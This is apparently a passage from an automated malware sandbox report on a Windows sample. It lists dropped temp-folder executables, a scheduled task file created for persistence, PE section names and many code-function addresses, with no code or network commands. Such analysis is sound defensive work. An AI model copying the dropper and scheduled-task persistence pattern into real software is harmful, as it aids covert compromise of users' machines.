Source: Anv6Gbh51e.exe	Static PE information: section name: .idata
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe.0.dr	Static PE information: section name:
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe.0.dr	Static PE information: section name: .idata
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe.0.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe

Code function: 7_2_6C5C62C0 PR_dtoa,PR_GetCurrentThread,strlen,NtFlushVirtualMemory,PR_GetCurrentThread,memcpy,memcpy,

7_2_6C5C62C0

Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe

File created: C:\Windows\Tasks\rapes.job

Jump to behavior

Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Code function: 0_3_00D8007C	0_3_00D8007C
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Code function: 0_3_00D8007C	0_3_00D8007C
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Code function: 0_3_00D589E8	0_3_00D589E8
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Code function: 0_3_00D58C98	0_3_00D58C98
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Code function: 0_3_00D585A8	0_3_00D585A8
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Code function: 0_3_00D8007C	0_3_00D8007C
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Code function: 0_3_00D8007C	0_3_00D8007C
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Code function: 0_3_00D589E8	0_3_00D589E8
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Code function: 0_3_00D58C98	0_3_00D58C98
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Code function: 0_3_00D585A8	0_3_00D585A8
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Code function: 0_3_00D589E8	0_3_00D589E8
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Code function: 0_3_00D58C98	0_3_00D58C98
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Code function: 0_3_00D585A8	0_3_00D585A8
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Code function: 4_2_007461F0	4_2_007461F0
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Code function: 4_2_00784047	4_2_00784047
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Code function: 4_2_007451A0	4_2_007451A0
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Code function: 4_2_00745450	4_2_00745450
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Code function: 4_2_0076B4C0	4_2_0076B4C0
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Code function: 4_2_0077C6DD	4_2_0077C6DD
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Code function: 4_2_0076F6DB	4_2_0076F6DB
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Code function: 4_2_00772C20	4_2_00772C20
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Code function: 4_2_00785CD4	4_2_00785CD4
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Code function: 4_2_00785DF4	4_2_00785DF4
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Code function: 4_2_0077CE69	4_2_0077CE69
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Code function: 4_2_00744EF0	4_2_00744EF0
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 5_2_00EA4047	5_2_00EA4047
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 5_2_00E661F0	5_2_00E661F0
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 5_2_00E651A0	5_2_00E651A0
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 5_2_00E8B4C0	5_2_00E8B4C0
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 5_2_00E65450	5_2_00E65450
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 5_2_00E8F6DB	5_2_00E8F6DB
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 5_2_00E9C6DD	5_2_00E9C6DD
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 5_2_00EA5CD4	5_2_00EA5CD4
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 5_2_00E92C20	5_2_00E92C20
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 5_2_00EA5DF4	5_2_00EA5DF4
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 5_2_00E64EF0	5_2_00E64EF0
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 5_2_00E9CE69	5_2_00E9CE69
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 6_2_00EA4047	6_2_00EA4047
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 6_2_00E661F0	6_2_00E661F0
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 6_2_00E651A0	6_2_00E651A0
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 6_2_00E8B4C0	6_2_00E8B4C0
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 6_2_00E65450	6_2_00E65450
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 6_2_00E8F6DB	6_2_00E8F6DB
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 6_2_00E9C6DD	6_2_00E9C6DD
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 6_2_00EA5CD4	6_2_00EA5CD4
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 6_2_00E92C20	6_2_00E92C20
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 6_2_00EA5DF4	6_2_00EA5DF4
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 6_2_00E64EF0	6_2_00E64EF0
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 6_2_00E9CE69	6_2_00E9CE69
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C44AC60	7_2_6C44AC60
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C506C00	7_2_6C506C00
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C51AC30	7_2_6C51AC30
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C43ECC0	7_2_6C43ECC0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C49ECD0	7_2_6C49ECD0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C56AD50	7_2_6C56AD50
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C50ED70	7_2_6C50ED70
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C5C8D20	7_2_6C5C8D20
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C5CCDC0	7_2_6C5CCDC0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4D6D90	7_2_6C4D6D90
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C444DB0	7_2_6C444DB0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4DEE70	7_2_6C4DEE70
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C520E20	7_2_6C520E20
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C44AEC0	7_2_6C44AEC0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4E0EC0	7_2_6C4E0EC0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4C6E90	7_2_6C4C6E90
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4AEF40	7_2_6C4AEF40
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C502F70	7_2_6C502F70
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C446F10	7_2_6C446F10
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C580F20	7_2_6C580F20
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C51EFF0	7_2_6C51EFF0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C440FE0	7_2_6C440FE0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C588FB0	7_2_6C588FB0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C44EFB0	7_2_6C44EFB0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C514840	7_2_6C514840
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C490820	7_2_6C490820
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4CA820	7_2_6C4CA820
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C5468E0	7_2_6C5468E0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C478960	7_2_6C478960
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C496900	7_2_6C496900
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C55C9E0	7_2_6C55C9E0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4749F0	7_2_6C4749F0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C5009B0	7_2_6C5009B0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4D09A0	7_2_6C4D09A0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4FA9A0	7_2_6C4FA9A0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4BCA70	7_2_6C4BCA70
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4EEA00	7_2_6C4EEA00
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4F8A30	7_2_6C4F8A30
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4BEA80	7_2_6C4BEA80
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C546BE0	7_2_6C546BE0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C448BAC	7_2_6C448BAC
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4E0BA0	7_2_6C4E0BA0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C458460	7_2_6C458460
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4A4420	7_2_6C4A4420
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4CA430	7_2_6C4CA430
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4864D0	7_2_6C4864D0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4DA4D0	7_2_6C4DA4D0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C56A480	7_2_6C56A480
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C588550	7_2_6C588550
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C498540	7_2_6C498540
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C544540	7_2_6C544540
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4A2560	7_2_6C4A2560
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4E0570	7_2_6C4E0570
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C50A5E0	7_2_6C50A5E0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4CE5F0	7_2_6C4CE5F0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4345B0	7_2_6C4345B0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C49C650	7_2_6C49C650
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4646D0	7_2_6C4646D0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C49E6E0	7_2_6C49E6E0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4DE6E0	7_2_6C4DE6E0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4C0700	7_2_6C4C0700
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C46A7D0	7_2_6C46A7D0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C48E070	7_2_6C48E070
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C508010	7_2_6C508010
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C50C000	7_2_6C50C000
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C438090	7_2_6C438090
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C51C0B0	7_2_6C51C0B0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4500B0	7_2_6C4500B0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4A8140	7_2_6C4A8140
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C524130	7_2_6C524130
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4B6130	7_2_6C4B6130
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4401E0	7_2_6C4401E0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C5961B0	7_2_6C5961B0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4D8250	7_2_6C4D8250
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4C8260	7_2_6C4C8260
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C50A210	7_2_6C50A210
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C518220	7_2_6C518220
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C5C62C0	7_2_6C5C62C0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C50E2B0	7_2_6C50E2B0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C5122A0	7_2_6C5122A0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C45A2B0	7_2_6C45A2B0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C448340	7_2_6C448340
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C582370	7_2_6C582370
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C442370	7_2_6C442370
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C55C360	7_2_6C55C360
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4D6370	7_2_6C4D6370
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4B2320	7_2_6C4B2320
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4943E0	7_2_6C4943E0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4723A0	7_2_6C4723A0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C49E3B0	7_2_6C49E3B0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C443C40	7_2_6C443C40
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C569C40	7_2_6C569C40
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C451C30	7_2_6C451C30
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C57DCD0	7_2_6C57DCD0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C501CE0	7_2_6C501CE0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4DFC80	7_2_6C4DFC80
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4A3D00	7_2_6C4A3D00
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C511DC0	7_2_6C511DC0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C433D80	7_2_6C433D80
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C589D90	7_2_6C589D90
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C59BE70	7_2_6C59BE70
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C5C5E60	7_2_6C5C5E60
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C54DE10	7_2_6C54DE10
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C463EC0	7_2_6C463EC0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C475F20	7_2_6C475F20
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C435F30	7_2_6C435F30
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C597F20	7_2_6C597F20
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C55DFC0	7_2_6C55DFC0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C5C3FC0	7_2_6C5C3FC0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4EBFF0	7_2_6C4EBFF0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C461F90	7_2_6C461F90
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C49D810	7_2_6C49D810
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4DF8C0	7_2_6C4DF8C0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C51F8F0	7_2_6C51F8F0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C44D8E0	7_2_6C44D8E0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4738E0	7_2_6C4738E0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C59B8F0	7_2_6C59B8F0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4BF960	7_2_6C4BF960
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4FD960	7_2_6C4FD960
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C58F900	7_2_6C58F900
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4F5920	7_2_6C4F5920
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4D99C0	7_2_6C4D99C0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4799D0	7_2_6C4799D0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4A59F0	7_2_6C4A59F0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4D79F0	7_2_6C4D79F0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C511990	7_2_6C511990
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C451980	7_2_6C451980
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C5C9A50	7_2_6C5C9A50
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C47FA10	7_2_6C47FA10
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4E1A10	7_2_6C4E1A10
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C53DA30	7_2_6C53DA30
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C441AE0	7_2_6C441AE0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C51DAB0	7_2_6C51DAB0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C51FB60	7_2_6C51FB60
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C48BB20	7_2_6C48BB20
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C45BBD4	7_2_6C45BBD4
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C487BF0	7_2_6C487BF0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C525B90	7_2_6C525B90
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C431B80	7_2_6C431B80
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C509BB0	7_2_6C509BB0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C499BA0	7_2_6C499BA0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4CD410	7_2_6C4CD410
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C529430	7_2_6C529430
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4414E0	7_2_6C4414E0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C5C14A0	7_2_6C5C14A0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C58F510	7_2_6C58F510
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4A7500	7_2_6C4A7500
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C455510	7_2_6C455510
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4C55F0	7_2_6C4C55F0
